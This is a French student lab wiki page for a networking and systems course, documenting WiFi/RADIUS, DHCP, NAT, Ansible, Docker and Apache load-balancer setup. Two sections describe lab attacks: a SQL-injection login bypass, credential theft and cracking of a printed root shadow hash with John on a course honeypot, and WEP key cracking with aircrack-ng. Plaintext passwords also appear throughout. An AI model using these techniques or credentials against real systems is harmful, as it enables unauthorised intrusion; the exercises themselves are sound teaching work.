On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
  6	        ; Serial&lt;br /&gt;
  604800	; Refresh&lt;br /&gt;
  86400		; Retry&lt;br /&gt;
  2419200	; Expire&lt;br /&gt;
  604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
'''Mise en place du VirtualHost'''&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
On l'active avec les commandes suivantes :&lt;br /&gt;
 a2ensite reverse.conf&lt;br /&gt;
 service apache2 reload&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55028</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55028"/>
				<updated>2020-12-18T23:53:58Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
